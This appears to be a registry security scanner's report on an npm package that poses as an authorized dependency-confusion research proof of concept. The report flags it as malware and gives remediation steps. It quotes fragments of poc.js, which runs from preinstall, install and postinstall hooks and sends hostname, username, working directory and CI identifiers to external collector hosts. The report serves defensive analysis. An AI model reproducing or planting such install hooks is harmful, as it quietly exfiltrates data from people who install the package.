registry / Data exfiltration / @myorder-frontend-commons/analytics / 1.1.0

@myorder-frontend-commons/analytics@1.1.0

AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The install hooks activate network disclosure of host and CI identifiers to default external collectors, establishing concrete installation-time data exfiltration. Claims of authorized research in package text do not establish installer consent.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm runs the package’s preinstall, install, or postinstall hook.

Impact

The collectors can learn identifying details about the machine and build environment that installed the package.

Mechanism

The hook runs poc.js, which gathers machine and CI identifiers and sends them in HTTP GET requests to default collectors.

Attack narrative

An npm install automatically triggers poc.js through three lifecycle hooks. The script sends hostname, username, platform, working directory, Node version, package version, and CI marker names to publisher-selected default collectors. This is an unconsented installation beacon disclosing identifying data.

AI rationale

Evidence

package.jsonpoc.js

Network endpoints2

db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun80-190-83-27.nip.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs poc.js from preinstall, install, and postinstall hooks.
poc.js collects the machine hostname, username, platform, working directory, Node version, package version, and present CI variable names.
poc.js encodes the collected values into an HTTP query string.
poc.js selects researcher-controlled default collectors unless environment overrides are set.
poc.js sends HTTP GET requests to the selected host on port 80.
poc.js invokes the beacon for both the hostname-derived OOB host and the backup collector.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.74 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.install = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node poc.js", "install": "node poc.js", "postinstall": "n

High

Suspicious Lifecycle Evidence

package.json runs poc.js from preinstall, install, and postinstall hooks.

package.jsonView on unpkg · L7

poc.jsView file

•matchType = malicious_source_fingerprint_signature signature = 792537aeadbf189f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @myorder-frontend-commons/analytics@0.1.0 matchedPath = poc.js matchedIdentity = npm:[redacted]:0.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

poc.jsView on unpkg

43var info = { poc: TOKEN, trigger: process.env.npm[redacted] || 'manual', // preinstall | postinstall | install ... pkg: '@myorder-frontend-commons/analytics', pkgVersion: safe(function () { return require('./package.json').version; }, '?'), hostname: safe(function () { return os.hostname(); }, '?'), user: safe(function () { return os.userInfo().username; }, '?'), platform: safe(function () { return os.platform() + '-' + os.arch() + '-' + os.release(); }, '?'), cwd: safe(function () { return process.cwd(); }, '?'), node: process.version, ci: safe(presentCiMarkers, '')

High

Ai Review Evidence

poc.js collects the machine hostname, username, platform, working directory, Node version, package version, and present CI variable names.

poc.jsView on unpkg · L43

56var qs = Object.keys(info).map(function (k) { return encodeURIComponent(k) + '=' + encodeURIComponent(String(info[k])); }).join('&'); var path = '/beacon/' + TOKEN + '?' +

High

Ai Review Evidence

poc.js encodes the collected values into an HTTP query string.

poc.jsView on unpkg · L56

26var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; // interactsh (DNS+HTTP) var BACKUP = process.env.POC_BACKUP_HOST || '80-190-83-27.nip.io'; // self-hosted :80 (HTTP backup) var TOKEN = '1d24b2a9-2313-4d11-b6ca-db

High

Ai Review Evidence

poc.js selects researcher-controlled default collectors unless environment overrides are set.

poc.jsView on unpkg · L26

68function beacon(host) { try { var req = http.get( { host: host, port: 80, path: path, timeout: 4000, headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } }, function (res) { res.resume(); } ); req.on('error', function () {}); req.on('timeout', function () { req.destroy(); }); } catch (e) { /* never throw during install */ } } beac

High

Ai Review Evidence

poc.js sends HTTP GET requests to the selected host on port 80.

poc.jsView on unpkg · L68

80beacon(label + '.' + OOB); // primary: interactsh (catches DNS even if HTTP blocked) beacon(BACKUP); // backup: self-hosted :80 collector process

High

Ai Review Evidence

poc.js invokes the beacon for both the hostname-derived OOB host and the backup collector.

poc.jsView on unpkg · L80

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.install = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node poc.js", "install": "node poc.js", "postinstall": "n

High

Suspicious Lifecycle Evidence

package.json runs poc.js from preinstall, install, and postinstall hooks.

package.jsonView on unpkg · L7

poc.jsView file

High

Known Malware Source Fingerprint Signature

Findings

8 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepoc.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepoc.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@1.1.0.

See all versions of @myorder-frontend-commons/analytics for other recorded verdicts.

Avoid installing @myorder-frontend-commons/analytics@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:00:04.836Z (UTC).

Source advisory published: 2026-10-09 19:31:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages